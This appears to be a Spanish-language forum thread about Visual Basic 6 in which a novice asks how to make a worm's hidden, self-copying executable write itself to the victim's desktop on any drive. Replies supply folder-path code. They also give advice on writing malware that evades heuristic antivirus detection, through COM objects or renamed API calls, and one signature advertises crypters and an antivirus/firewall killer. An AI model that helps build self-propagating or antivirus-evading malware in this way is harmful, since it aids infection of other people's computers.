Autor
|
Tema: COPIAR ARCHIVOS AL ESRITORIO (Leído 13,022 veces)
|
hAcKeR92
Desconectado
Mensajes: 72
|
Hola, muy buenas, soy nuevo en el mundillo del VB y estoy empezando buscando codigos en google, en este foro, etc.. Y vi una web muy buena (en ingles) donde aparece un codigo de un gusano que me ayudo mucho a entender el Visual Basic 6.0, pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría... Por eso necesito que me pongais mi codigo (abajo) igual pero cambiando la linea de FileCopy para que en vez de copiarse el archivo con el nombre Prueba1.exe en C:\ se copie en el escritorio. Un saludo y GRACIAS por adelantado!! Private Form Sub_Load() Me.hide Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Prueba1.Exe" End Sub
|
|
|
En línea
|
|
|
|
Freeze.
|
Según entiendo--- Usa la funcion Environ
|
|
|
En línea
|
|
|
|
hAcKeR92
Desconectado
Mensajes: 72
|
sí, pero como???
|
|
|
En línea
|
|
|
|
Tughack
Desconectado
Mensajes: 490
|
Según entiendo--- Usa la funcion Environ No se puede con el Environ xD Aki el ejemplo de API-Guide: Const CSIDL_DESKTOP = &H0 Const CSIDL_PROGRAMS = &H2 Const CSIDL_CONTROLS = &H3 Const CSIDL_PRINTERS = &H4 Const CSIDL_PERSONAL = &H5 Const CSIDL_FAVORITES = &H6 Const CSIDL_STARTUP = &H7 Const CSIDL_RECENT = &H8 Const CSIDL_SENDTO = &H9 Const CSIDL_BITBUCKET = &HA Const CSIDL_STARTMENU = &HB Const CSIDL_DESKTOPDIRECTORY = &H10 Const CSIDL_DRIVES = &H11 Const CSIDL_NETWORK = &H12 Const CSIDL_NETHOOD = &H13 Const CSIDL_FONTS = &H14 Const CSIDL_TEMPLATES = &H15 Const MAX_PATH = 260 Private Type SHITEMID cb As Long abID As Byte End Type Private Type ITEMIDLIST mkid As SHITEMID End Type Private Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long Private Sub Form_Load() 'KPD-Team 1998 'URL: http://www.allapi.net/ 'E-Mail: KPDTeam@Allapi.net 'Show an about window ShellAbout Me.hWnd, App.Title, "Created by the KPD-Team 1999", ByVal 0& 'Set the graphical mode to persistent Me.AutoRedraw = True 'Print the folders to the form Me.Print "Start menu folder: " + GetSpecialfolder(CSIDL_STARTMENU) Me.Print "Favorites folder: " + GetSpecialfolder(CSIDL_FAVORITES) Me.Print "Programs folder: " + GetSpecialfolder(CSIDL_PROGRAMS) Me.Print "Desktop folder: " + GetSpecialfolder(CSIDL_DESKTOP) End Sub Private Function GetSpecialfolder(CSIDL As Long) As String Dim r As Long Dim IDL As ITEMIDLIST 'Get the special folder r = SHGetSpecialFolderLocation(100, CSIDL, IDL) If r = NOERROR Then 'Create a buffer Path$ = Space$(512) 'Get the path from the IDList r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) 'Remove the unnecessary chr$(0)'s GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) Exit Function End If GetSpecialfolder = "" End Function
Obvio k solo necesitas una pekena parte de ese codigo ^^ Saludos
|
|
|
En línea
|
|
|
|
hAcKeR92
Desconectado
Mensajes: 72
|
Muchas gracias por tu esfuerzo!! Pero, perdon por mi ignorancia, sigo sin entenderlo.. Lo he intentdo de mil maneras y nada... Ademas me da error en la parte del codigo que pone "if r = NOERROR" y en un poco más abajo que pone paths... Si no te es mucho esfuerzo, me podrías poner unicamente el ejemplo para hacer lo que te pido?? Copiar el archivo al escritorio con el nuevo nombre de prueba1???
|
|
|
En línea
|
|
|
|
Mad Antrax
|
Private Sub Form_Load() 'AllUsersDesktop, AllUsersStartMenu 'AllUsersPrograms, AllUsersStartup, Desktop, Favorites 'Fonts, MyDocuments, NetHood, PrintHood, Programs, Recent 'SendTo, StartMenu, Startup, Templates Dim WSh As Object Dim tempVar As String Set WSh = CreateObject("WScript.Shell") tempVar = WshShell.SpecialFolders("Desktop") MsgBox tempVar End Sub
Es esto y nada más. Cambia el Desktop por alguna de las otras variables de arriba para obtener otras rutas interesantes. Para Obtener sólo la unidad de sistema: Private Sub Form_Load() Dim tempVar As String tempVar = Environ("HOMEDRIVE") MsgBox tempVar End Sub
Aqui tienes otras variables para usar con Environ("") ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\user\Datos de programa CommonProgramFiles=C:\Archivos de programa\Archivos comunes COMPUTERNAME=PC-ANTRAX ComSpec=C:\WINDOWS\system32\cmd.exe HOMEDRIVE=C: HOMEPATH=\Documents and Settings\user LOGONSERVER=\\SERVER01 NUMBER_OF_PROCESSORS=1 OS=Windows_NT PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 15 Model 47 Stepping 0, AuthenticAMD PROCESSOR_LEVEL=15 PROCESSOR_REVISION=2f00 ProgramFiles=C:\Archivos de programa PROMPT=$P$G QTJAVA=C:\Archivos de programa\Java\jre1.6.0_03\lib\ext\QTJava.zip SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\DOCUME~1\user\CONFIG~1\Temp TMP=C:\DOCUME~1\user\CONFIG~1\Temp USERDOMAIN=WINWORLD USERNAME=Usuario USERPROFILE=C:\Documents and Settings\user windir=C:\WINDOWS Saludos!!
|
|
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
Tughack
Desconectado
Mensajes: 490
|
No estoy de acuerdo Mad.
Primero, es mejor usar APIs k objectos.
Segundo, %HOMEDRIVE% no es el desktop...
Saludos
|
|
|
En línea
|
|
|
|
Mad Antrax
|
No estoy de acuerdo Mad.
Primero, es mejor usar APIs k objectos.
Segundo, %HOMEDRIVE% no es el desktop...
Saludos
Bravoooo, ya llegó el listo! Es mejor usar Objetos para la programación de malware, las API's se quedan en el própio ejecutable y es más facil que un AV te detecte por heurística, vease: CreateRemoteThread, DownloadURLFileA, etc... Ademas, con el Objeto FSO cargado podrá hacer otras funciones importantes como: CreateTextFile, DeleteFile, Run, RegRead, RegWrite, etc...
Si te ubieras molestado en leer mi mensaje, verías que el primer código te devuelve el Escritorio y el segundo la unidad de sistema a través de Environ (que es algo que tambien ha pedido el usuario: pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría... Lee antes de criticar tio, me pones de los nervios con tus contestaciones.
|
|
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.678
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Dim resul As String resul = Environ("homedrive") & Environ("homepath") & "\Escritorio" If Not IsDir(resul) Then resul = Environ("homedrive") & Environ("homepath") & "\Desktop" End If Private Function IsDir(ByVal DirSpec As String) As Boolean 'Funcion que devuelve True si existe una carpeta y False si no existe On Error Resume Next IsDir = ((GetAttr(DirSpec) And vbDirectory) = vbDirectory) End Function
Environ("homedrive") & Environ("homepath") devuelve C:\Documents And Settings\USUARIOA partir de aí la carpeta Escritorio dependerá del idioma del SO... El codigo ese es mas sencillo que los anteriores y funcionará en los SO con idiomas Español e Ingles...es decir en casi todos ...pero si kieres más eficacia yo preferiría el de Tughack pork me gustan más las APIs...pero weno a tu gusto Corrijanme si me he equivocado... Saludos EDIT: Es mejor usar APIs que objetos eso si k es verdad...los objetos son mucho mas lentos...en este caso aun da algo igual pero por ejemplo yo cuando diseñe un algoritmo de busquedas había mucha diferencia entre usar objetos o APIs...e incluso entre Objetos y las propias funciones del VB había mucha diferencia (minutos)...
|
|
« Última modificación: 2 Febrero 2008, 14:47 pm por nhaalclkiemr »
|
En línea
|
StasFodidoCrypter 1.0 - 100% (old) | StasFodidoCrypter 2.0 - 85% (deserted) | Fire AV/FW-Killer - 97% (deserted) | R-WlanXDecrypter 1.0- 100% |
|
|
|
Tughack
Desconectado
Mensajes: 490
|
Hola, muy buenas, soy nuevo en el mundillo del VB Mad, hAcKeR92 es un novato y la primera cosa k le das son objectos? Mejor en la creacion de malware? Vamos... Apis puedes llamarlas como kieras y hacrlas indetectables... Objectos son para script kiddies... De todas formas gusanos es cosa de script kiddies... enfin... Y si, me he molestado en leer tu mensaje y se perfectamente k hace el codigo... APIS RULE! Saludos
|
|
|
En línea
|
|
|
|
|
|